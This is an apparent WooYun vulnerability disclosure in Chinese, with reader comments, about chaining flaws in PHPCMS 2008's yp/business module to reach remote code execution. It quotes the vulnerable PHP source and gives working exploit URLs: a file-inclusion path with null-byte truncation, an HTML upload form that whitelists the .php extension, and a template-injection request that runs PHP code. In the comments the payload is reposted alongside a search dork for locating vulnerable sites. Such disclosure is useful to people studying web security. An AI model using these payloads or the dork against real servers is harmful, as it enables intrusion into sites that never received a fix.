2012-07-12: 细节已通知厂商并且等待厂商处理中 2012-07-17: 厂商已经主动忽略漏洞,细节向公众公开
一个漏洞不可怕,可怕的是一连串的漏洞,拼接起来就可以getshell了。
###文件包含<?phpdefine('IN_YP', TRUE);define('ADMIN_ROOT', str_replace("\\", '/',dirname(__FILE__)).'/');require '../include/common.inc.php';## 要登陆if(!$_userid) showmessage('您还没有登陆,即将跳转到登陆页面',$MODULE['member']['url'].'login.php?forward='.urlencode(URL));session_start();## $file变量可控制if(!isset($file) || empty($file)) $file = 'panel';/* $company_user_infos 获取企业会员信息 */$company_user_infos = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$_userid'");$userid = $_userid;## 注册的时候选择企业用户if(!$company_user_infos){ $MS['title'] = '您不是企业会员'; $MS['description'] = '你可以做下面操作'; $MS['urls'][0] = array( 'name'=>'免费升级为企业会员', 'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member', ); $MS['urls'][1] = array( 'name'=>'退出当前帐号,换其他帐号登陆', 'url'=>$PHPCMS['siteurl'].'member/logout.php', ); $MS['urls'][2] = array( 'name'=>'重新注册为企业会员', 'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.urlencode($PHPCMS['siteurl'].'member/register.php'), ); msg($MS);}$CATEGORY = subcat('yp');$siteurl = company_url($userid, $company_user_infos['sitedomain']);$_SESSION['url'] = QUERY_STRING;if($file != 'company' && $M['enableSecondDomain'] && !$company_user_infos['sitedomain']) showmessage('请先绑定您的二级域名',BUSINESSDIR.'?file=company');check_priv($file);$GROUP = cache_read('member_group.php');## 此处直接包含了,注意$file是可以控制的但须要截断if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!');function check_priv($file){ global $M,$PHPCMS,$_groupid; if(!$M["allow_add_$file"]) return true; if(!in_array($_groupid,$M["allow_add_$file"])) { $MS['title'] = '您所在的会员组没有此项操作权限'; $MS['description'] = '你可以做下面操作'; $MS['urls'][0] = array( 'name'=>'升级会员组', 'url'=>$PHPCMS['siteurl'].'member/upgrade.php', ); $MS['urls'][1] = array( 'name'=>'返回商务中心', 'url'=>'?', ); msg($MS); }}?>## 利用注册一个企业用户EXP:http://localhost/phpcms/yp/business/?file=../../xxoo.txt%00.由于涉及截断,所以鸡肋了,哥是要去拿shell的。## 再看这一句if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!');以.inc.php结尾的文件有大把随便找个有漏的文件包含进来,不就能二次利用了?## 首先进入视线的是/admin/upload.inc.php 看名字就知道如果能利用的话,将会.....(省略500字)<?php defined('IN_PHPCMS') or exit('Access Denied');require_once 'attachment.class.php';$attachment = new attachment($mod);if($catid){ $C = cache_read('category_'.$catid.'.php');}## 允许上传的后缀是从$C里取的,变量$C要通过上面那个判断才能赋值,典型的变量未初始化$upload_allowext = $C['upload_allowext'] ? $C['upload_allowext'] : UPLOAD_ALLOWEXT;$upload_maxsize = $C['upload_maxsize'] ? $C['upload_maxsize'] : UPLOAD_MAXSIZE;if($dosubmit){ $attachment->upload('uploadfile', $upload_allowext, $upload_maxsize, 1); if($attachment->error) showmessage($attachment->error()); //判断是否开启附件ftp上传,返回图片路径 $imgurl = UPLOAD_FTP_ENABLE ? $attachment->uploadedfiles[0]['filepath'] : UPLOAD_URL.$attachment->uploadedfiles[0]['filepath']; $aid = $attachment->uploadedfiles[0]['aid']; $filesize = $attachment->uploadedfiles[0]['filesize']; $filesize = $attachment->size($filesize); if($isthumb || $iswatermark) { require_once 'image.class.php'; $image = new image(); $img = UPLOAD_ROOT.$attachment->uploadedfiles[0]['filepath']; if($isthumb) { $image->thumb($img, $img, $width, $height); } if($iswatermark) { $image->watermark($img, $img, $PHPCMS['watermark_pos'], $PHPCMS['watermark_img'], '', 5, '#ff0000', $PHPCMS['watermark_jpgquality']); } } showmessage("文件上传成功!<script language='javascript'> try{ $(window.opener.document).find(\"form[@name='myform'] #$uploadtext\").val(\"$imgurl\");$(window.opener.document).find(\"form[@name='myform'] #{$uploadtext}_aid\").val(\"$aid\");$(window.opener.document).find(\"form[@name='myform'] #$filesize\").val(\"$filesize\");}catch(e){} window.close();</script>", HTTP_REFERER);}else{ include admin_tpl('upload');}?>## 没什么好说的看EXP, 上传后查看网页源代码即可找到上传路径.<form id="frmUpload" enctype="multipart/form-data"action="http://localhost/phpcms/yp/business/?file=../../admin/upload&C[upload_allowext]=php|Php%00.|php%00&dosubmit=yes" method="post"><h1>Upload a new file:</h1><input type="file" name="uploadfile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form>## 传完后我才发现attachment.class.php 里有黑名单,怎么绕大家结合环境利用吧。## 漏洞再一次被鸡肋化了,哥继续找。 再次进入视线的是block.inc.php,看名字貌似是跟模块有关的,难不成可以写个shell ?## 猫了个咪,打开文件我就想骂人了,做为admin目录下的文件,没有任何权限判断。## 看144行左右,当$action 等于 post时。case 'post': require_once 'template.func.php'; if($func == 'dosave') ## 这里完全不用管他,让他进入else { $block->set_template($blockid, $template); $block->update($blockid, $data); $data = $block->get_html($blockid); } else { $name = new_stripslashes($name); $data = new_stripslashes($data); $data = $block->strip_data($data); $template = new_stripslashes($template); $tpldata = template_parse($template); $tplfile = TPL_CACHEPATH.'block_'.$blockid.'.preview.php'; ## 文件名 file_put_contents($tplfile, $tpldata); ## 生成文件 include $tplfile; ## 包含文件 @unlink($tplfile); ## 删除刚才生成的文件 $data = ob_get_contents(); ob_clean(); } echo '<script language="JavaScript">parent.'.$func.'('.$blockid.', "'.format_js($data, 0).'");</script>'; break;## 在这里可以生成一个php文件,并马上包含进来,随后又删除了。由于包含进来了,只要能控制php文件的内容,代码还是会被执行。## 看取得文件内容的这一行,$tpldata = template_parse($template); 跟进template_parse函数function template_parse($str, $istag = 0){ $str = preg_replace("/([\n\r]+)\t+/s","\\1",$str); $str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}",$str); $str = preg_replace("/\{template\s+(.+)\}/","<?php include template(\\1); ?>",$str); $str = preg_replace("/\{include\s+(.+)\}/","<?php include \\1; ?>",$str); $str = preg_replace("/\{php\s+(.+)\}/","<?php \\1?>",$str); $str = preg_replace("/\{if\s+(.+?)\}/","<?php if(\\1) { ?>",$str); $str = preg_replace("/\{else\}/","<?php } else { ?>",$str); $str = preg_replace("/\{elseif\s+(.+?)\}/","<?php } elseif (\\1) { ?>",$str); $str = preg_replace("/\{\/if\}/","<?php } ?>",$str); $str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2) { ?>",$str); $str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>",$str); $str = preg_replace("/\{\/loop\}/","<?php } ?>",$str); $str = preg_replace("/\{\/get\}/","<?php } unset(\$DATA); ?>",$str); $str = preg_replace("/\{tag_([^}]+)\}/e", "get_tag('\\1')", $str); $str = preg_replace("/\{get\s+([^}]+)\}/e", "get_parse('\\1')", $str); $str = preg_replace("/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str); $str = preg_replace("/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str); $str = preg_replace("/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/","<?php echo \\1;?>",$str); $str = preg_replace("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/es", "addquote('<?php echo \\1;?>')",$str); $str = preg_replace("/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>",$str); if(!$istag) $str = "<?php defined('IN_PHPCMS') or exit('Access Denied'); ?>".$str; return $str;}## 是用来处理一些模板语法,完全不用理会。EXP:http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>
判断要严谨,多个地方缺少判断,判断应该用白名单而不是黑名单,黑名单你控制不来的。Ps:换个马甲不知道人品会不会好一点,求邀请码。
危害等级:无影响厂商忽略
忽略时间:2012-07-17 19:03
漏洞Rank:17 (WooYun评价)
暂无
值得关注
这个厉害~~~
组合漏洞什么的最有爱了!!
关注
Freas 你改马甲了啊 啊啊啊啊啊
/whitehat_detail.php?whitehat=php0day 一个人 -_- 玩无间道
@蟋蟀哥哥 http://www.php0day.com/真的是他 百度空间
关注了-、
@_Evil 坏蛋蛋......
关注啊~~
围观
被忽略了..........inurl:/yp/business
....这个居然被忽略。证实可行啊。
经典的漏洞分析!!!!
@ca3tie1 给好评啊
其实不是被忽略2008已经早都停止维护了。
说是可以拿shell 可以个毛啊
..yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>
phpcms貌似没有更新!
洞主功力深厚